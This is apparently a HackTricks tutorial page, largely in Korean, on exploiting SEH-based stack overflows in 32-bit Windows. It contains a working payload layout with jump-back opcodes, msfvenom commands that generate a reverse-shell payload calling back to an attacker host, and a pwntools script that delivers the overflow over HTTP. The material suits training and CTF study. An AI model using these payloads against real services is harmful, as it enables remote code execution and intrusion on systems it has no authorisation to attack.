7.1 KiB
Windows SEH-based Stack Overflow Exploitation (nSEH/SEH)
{{#include ../../banners/hacktricks-training.md}}
SEH-based exploitation은 스택에 저장된 Structured Exception Handler 체인을 악용하는 고전적인 x86 Windows 기법이다. 스택 버퍼 오버플로우가 두 개의 4바이트 필드를 덮어쓸 때
- nSEH: 다음 SEH 레코드에 대한 포인터, and
- SEH: 예외 처리기 함수에 대한 포인터
공격자는 다음 방법으로 실행 제어를 획득할 수 있다:
- 예외가 발생했을 때 gadget이 공격자가 제어하는 바이트로 리턴하도록, 보호되지 않은 모듈의 POP POP RET gadget 주소로 SEH를 설정하고, 그리고
- nSEH를 사용해 (대개 짧은 점프) 큰 오버플로잉 버퍼 내의 shellcode로 실행을 리다이렉트한다.
이 기법은 32-bit 프로세스(x86)에 특화되어 있다. 최신 시스템에서는 gadget을 위해 SafeSEH와 ASLR이 없는 모듈을 선호한다. 일반적인 금지 문자는 C-strings와 HTTP 파싱 때문에 종종 0x00, 0x0a, 0x0d (NUL/CR/LF)를 포함한다.
정확한 오프셋 찾기 (nSEH / SEH)
- 프로세스를 크래시시키고 SEH 체인이 덮어써졌는지 확인한다 (예: x32dbg/x64dbg에서 SEH view 확인).
- 오버플로잉 데이터로 cyclic pattern을 보내고, nSEH와 SEH에 위치한 두 dword의 오프셋을 계산한다.
Example with peda/GEF/pwntools on a 1000-byte POST body:
# generate pattern (any tool is fine)
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1000
# or
python3 -c "from pwn import *; print(cyclic(1000).decode())"
# after crash, note the two 32-bit values from SEH view and compute offsets
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 1000 -q 0x32424163 # nSEH
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 1000 -q 0x41484241 # SEH
# ➜ offsets example: nSEH=660, SEH=664
해당 위치에 마커를 배치하여 검증하세요(예: nSEH=b"BB", SEH=b"CC"). 충돌을 재현 가능하게 하려면 총 길이를 일정하게 유지하세요.
Choosing a POP POP RET (SEH gadget)
SEH 프레임을 풀고 nSEH 바이트로 되돌아가기 위해 POP POP RET 시퀀스가 필요합니다. SafeSEH가 없는 모듈에서 찾고, 가능하면 ASLR도 비활성화된 모듈을 선택하세요:
- Mona (Immunity/WinDbg):
!mona modulesthen!mona seh -m modulename. - x64dbg plugin ERC.Xdbg:
ERC --SEHto list POP POP RET gadgets and SafeSEH status.
리틀엔디언으로 썼을 때 badchars가 포함되지 않는 주소를 선택하세요(예: p32(0x004094D8)). 보호 기능이 허용된다면 취약 바이너리 내부의 gadgets를 우선 선택하세요.
Jump-back technique (short + near jmp)
nSEH는 4바이트에 불과하므로 최대 2바이트 short jump(EB xx)와 패딩만 들어갑니다. 버퍼 시작으로 수백 바이트를 되돌아가야 한다면, nSEH 바로 앞에 5바이트 near jump를 두고 nSEH의 short jump로 그 점프에 연결하세요.
nasmshell에서:
nasm> jmp -660 ; too far for short; near jmp is 5 bytes
E967FDFFFF
nasm> jmp short -8 ; 2-byte short jmp fits in nSEH (with 2 bytes padding)
EBF6
nasm> jmp -652 ; 8 bytes closer (to account for short-jmp hop)
E96FFDFFFF
nSEH가 offset 660에 있는 1000-byte payload용 레이아웃 아이디어:
buffer_length = 1000
payload = b"\x90"*50 + shellcode # NOP sled + shellcode at buffer start
payload += b"A" * (660 - 8 - len(payload)) # pad so we are 8 bytes before nSEH
payload += b"\xE9\x6F\xFD\xFF\xFF" + b"EEE" # near jmp -652 (5B) + 3B padding
payload += b"\xEB\xF6" + b"BB" # nSEH: short jmp -8 + 2B pad
payload += p32(0x004094D8) # SEH: POP POP RET (no badchars)
payload += b"D" * (buffer_length - len(payload))
실행 흐름:
- 예외가 발생하고 디스패처가 덮어쓴 SEH를 사용한다.
- POP POP RET가 언와인드되어 우리의 nSEH로 진입한다.
- nSEH가
jmp short -8를 실행하여 5바이트 near jump로 들어간다. - Near jump는 NOP sled + shellcode가 위치한 버퍼의 시작 지점에 도달한다.
Bad characters
전체 badchar 문자열을 생성하여 크래시 후 스택 메모리를 비교하고, 타깃 파서가 변형하는 바이트는 제거한다. HTTP-based overflows의 경우, \x00\x0a\x0d는 거의 항상 제외된다.
badchars = bytes([x for x in range(1,256)])
payload = b"A"*660 + b"BBBB" + b"CCCC" + badchars # position appropriately for your case
Shellcode 생성 (x86)
msfvenom을 당신의 badchars와 함께 사용하세요. 작은 NOP sled은 착지 편차를 허용하는 데 도움이 됩니다.
msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST=<LHOST> LPORT=<LPORT> \
-b "\x00\x0a\x0d" -f python -v sc
즉석에서 생성하는 경우, hex 형식은 Python에서 임베드하고 unhex하기에 편리합니다:
msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST=<LHOST> LPORT=<LPORT> \
-b "\x00\x0a\x0d" -f hex
Delivering over HTTP (precise CRLF + Content-Length)
취약한 벡터가 HTTP 요청 본문인 경우, 정확한 CRLFs와 Content-Length를 가진 raw request를 만들어 서버가 넘쳐흐르는 전체 본문을 읽도록 하라.
# pip install pwntools
from pwn import remote
host, port = "<TARGET_IP>", 8080
body = b"A" * 1000 # replace with the SEH-aware buffer above
req = f"""POST / HTTP/1.1
Host: {host}:{port}
User-Agent: curl/8.5.0
Accept: */*
Content-Length: {len(body)}
Connection: close
""".replace('\n','\r\n').encode() + body
p = remote(host, port)
p.send(req)
print(p.recvall(timeout=0.5))
p.close()
도구
- x32dbg/x64dbg를 사용해 SEH 체인을 관찰하고 충돌을 분류/분석하기 위해.
- ERC.Xdbg (x64dbg 플러그인)으로 SEH gadgets를 열거하기 위해:
ERC --SEH. - 대안으로 Mona:
!mona modules,!mona seh. - nasmshell로 short/near jumps를 어셈블하고 raw opcodes를 복사하기 위해.
- pwntools로 정밀한 네트워크 페이로드를 제작하기 위해.
참고 및 주의사항
- x86 프로세스에만 적용됩니다. x64는 다른 SEH 체계를 사용하므로 SEH 기반 익스플로잇은 일반적으로 실현 가능하지 않습니다.
- SafeSEH와 ASLR이 없는 모듈 내의 gadgets를 우선 사용하십시오; 그렇지 않으면 프로세스에 로드된 보호되지 않은 모듈을 찾으세요.
- 충돌 시 자동으로 재시작하는 서비스 watchdogs는 반복적인 익스플로잇 개발을 더 쉽게 만들 수 있습니다.
References
- HTB: Rainbow – SEH overflow to RCE over HTTP (0xdf)
- ERC.Xdbg – Exploit Research Plugin for x64dbg (SEH search)
- Corelan – Exploit writing tutorial part 7 (SEH)
- Mona.py – WinDbg/Immunity helper
{{#include ../../banners/hacktricks-training.md}}